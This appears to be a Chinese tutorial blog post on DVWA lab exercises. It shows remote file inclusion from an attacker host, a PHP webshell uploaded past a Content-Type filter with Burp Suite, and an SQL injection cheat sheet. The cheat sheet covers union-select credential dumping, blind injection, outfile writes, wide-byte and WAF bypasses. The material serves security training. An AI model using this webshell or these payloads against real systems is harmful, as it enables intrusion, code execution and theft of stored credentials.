赞
踩
在计算机安全领域,漏洞注入是一种常见的攻击技术,它利用软件漏洞或安全漏洞来攻击计算机系统。漏洞注入可以用于窃取数据、获取系统权限、破坏系统等各种恶意行为。为了保护计算机系统的安全,渗透测试和漏洞注入已经成为一个必不可少的领域。
本文将介绍漏洞注入的基本原理和方法,使用漏洞注入进行攻击的常见技术和工具,以及如何使用漏洞注入来防范攻击。此外,本文还提供了一系列实用的漏洞注入示例,以帮助读者更好地理解和应用这些技术。
无论您是一名网络安全专业人员还是一个普通用户,理解漏洞注入的原理和方法都非常重要。本文将深入探讨漏洞注入技术,以帮助您更好地理解和保护计算机系统的安全。
开启OWASP靶机
开启Kali虚拟机
在Kali中登录dvwa,进入File Inclusion页面
在File Inclusion页面提示要测试包含的内容,将浏览器的URL中的page改为index.php进行尝试
现在我们将浏览器的URL中的page改为…/…/index.php进行尝试
在Kali虚拟机中启动Apache服务器,命令如下:
service apache2 start
在浏览器的URL中输入以下命令:
http://192.168.137.138/dvwa/vulnerabilities/fi/?page=http://192.168.137.167/index.html
得到结果
开启OWASP靶机
开启Kali虚拟机
在Kali的/root/Document路径下,创建webshell.php文件,内容如下:
<?
system($_GET['cmd']);
echo 'Type a command:<form method="get"
action="../../hackable/uploads/webshell.php"><input
type="text" name="cmd"/></form>';
?>
在Kali中登录dvwa,将安全等级设置为medium(中级)
进入Upload页面
在Upload页面点击Browse(浏览)文件
选择webshell.php文件,然后打开
最后上传该文件
当你尝试上传后缀为.php 的文件时,会发现上传失败,这是因为 DVWA 的中级限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里需要绕过这个限制上传 webshell.php
首先在浏览器打开手动网络代理
然后再打开Burp Suite工具,并打开Burp Suite的拦截开关
Intercept is on是拦截已打开
Intercept is off是拦截已关闭
重新选择webshell.php文件进行上传
上传完之后,Burp Suite那边的数据包就会拦截下来
简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。
尤其注意上图中第二个 Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个 PHP 文件
我们将第二个Content-Type中的值修改为image/jpeg后再放行请求包
然后就会看到上传成功的信息
转到File Inclusion页面
在浏览器的URL中的page的值改为之前记下的路径
可以看到 webshell.php 被成功地加载,并且会有一个文本框,在文本框中输入/sbin/ifconfig
然后敲下回车键,你就可以看到出现了文本提示信息,这代表代码被成功执行
开启OWASP靶机
开启Kali虚拟机
在Kali中登录dvwa,进入SQL Injection(SQL注入)界面,安全等级调为Low
通过输入一个数字来测试应用程序的正常行为。将用 户 ID 设置为 1,然后单击“提交”。 通过查看结果,可以说应用程序查询数据库以查看是否存在 ID 等于 1 的用户并返回该用户的 ID、名称和姓氏。
接下来,测试如果发送应用程序不期望的内容会发生什么。在文本框中输入 1’(1 和一个单撇号)并提交该 ID。 如以下屏幕截图所示,应用程序应响应错误,结果表明很可能这个应用程序很容易受到攻击。
为了确保存在基于错误的 SQLi,尝试另一个输入:1’',这次没有错误。 这证实了应用程序中存在 SQLi 漏洞。
现在将执行一个非常基本的 SQLi 攻击。 在文本框中输入’ or ‘1’='1 并提交
注入漏洞是对于解释性语言,用户与服务器交互式可以输入语句,成为程序执行的一部分
增:insert into 表名(列名) values(值)
删:delete from 表名 where 条件
改:update 表名 set 列名=新列名 where 条件
查:select 列名 from 表名 where 条件
5.x的版本存在一个数据库information_schema,存储数据库的原信息。在schemata存数据库名,在table存数据库名和表名,在columns存数据库名表名和字段名。
mysql注释:#或–空格或 /** / 。还有内联注释/* * / 只有mysql可以识别,利用此借以绕过防火墙
user()查看当前mysql登录用户名
database()查看当前使用mysql数据库名
version()产看当前mysql版本
id值一般闭合:id=1 id=‘1’ id=(‘1’) id=(“1”)
加‘ 进行判断,根据报错信息,进行闭合,并将之后的字符串注释掉,有双引号时无报错,用\进行转义看报错信息。
一般利用步骤:
(1)利用order by判断字段数
(2)利用union select 联合查询,获取表名 0‘ union select
1,group_concat(table_name),3 from information_schema.tables where
table_schema=database() --+
(3)获取字段名0’ union select
1,group_concat(column_name),3 from information_schema.columns where
table_name=‘users’ --+
(4)获取字段值0’ union select
1,group_concat(username,0x3a,passsword),3 from users --+
(5)也可以利用user()等函数输出一些信息。如0’ union select 1,user(),database()–+
post与get的区别:注入位置不同,无法通过浏览器直接修改和查看错误信息,需要通过插件来实现——使用bp截断
盲注是向数据库发送true或flase的语句,通过返回的信息判断结果,有基于时间的盲注,有基于布尔的盲注
get基于时间与布尔的盲注
通过时间差来判断if (ascii(substr(database(),1,1))=115,1,sleep(3))substr是将数据库的名字的从一移动一个位置的字符,通过ascii变为ascii值与115即s的ascii值进行比较,如果正确就执行一次sleep(3)
通过length(database()) ascii(substr(database(),1,1))> < = 某个值来不断猜解数据库的名称
post基于时间布尔的盲注
与上基本相同,不过是用到bp,如时间可用 admin’ and (select (if(length(database())>5,sleep(5),null)))
读:
前提:尽量有较高大权限,secure_file_prv的值必须不为空(可以在mysql.ini中配置)
在注入点构造 0' union select 1,load_file("绝对路径,中间要用//隔开"),3--+
写:
前提:general_log=on(可以在mysql.ini中配置)
在注入点构造 0' union select 1,'写入的内容',3 into outfile '绝对路径,中间用//隔开' --+
一些对用户输入的进行过滤,但一些插入到程序中的http头的信息没有过滤,可能有referer,user_agent等
cookie存在客户端,如果带入函数中,也不加过滤,可以在cookie处构造注入。查看cookie:可以在浏览器通过document.cookie查看。一些可能通过base64编码,所以构造的语句要进行base64编码
首先用户向数据库提交信息,之后利用这些信息进行注入
如,用户首先注册一个admin’-- -的账户,在修改密码时,即可将admin的账户的密码修改为任意密码
其中因为没有相应过滤,且修改密码时的语句update 表名 set password= where username= and password=
当带入admin’-- - 后将后面的注释
当得知表名,却无法通过暴力破解得到相应的字段名。通过数据库的自连接使数据库乱序,显示出偏移处的字段
order by 判断字段数,比如为10,通过union select 1,2,3,……,6,* from 表名,则10-6=4, 10-4* 2=2即通过union select1,2,a.id,b.id ,* from(admin as a inner join admin as b on a.id=b.id)
php中可能通过addslashes函数将单引号等转义
这时如果mysql使用的是gbk编码可以用宽字节注入绕过
即用%df%27(%27是单引号的url编码)通过函数转义后变为%df%5c%27(%5c为/)
这时因为gbk编码占用两个字符,所以%df%5c组成到一起,使引号能够起作用闭合
大小写绕过
双写绕过
通过url编码绕过
mysql中通过内联注释绕过
绕过去除字符串的注入:这时不能用注释符注释掉后面的引号,可以通过
or ‘1’=‘1闭合后面的引号,如id=-1’ union select 1,database(),'3在3处闭合
绕过去除and or的注入:可以大小写,双写,内联用&& ||等
绕过空格:可以通过url编码
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。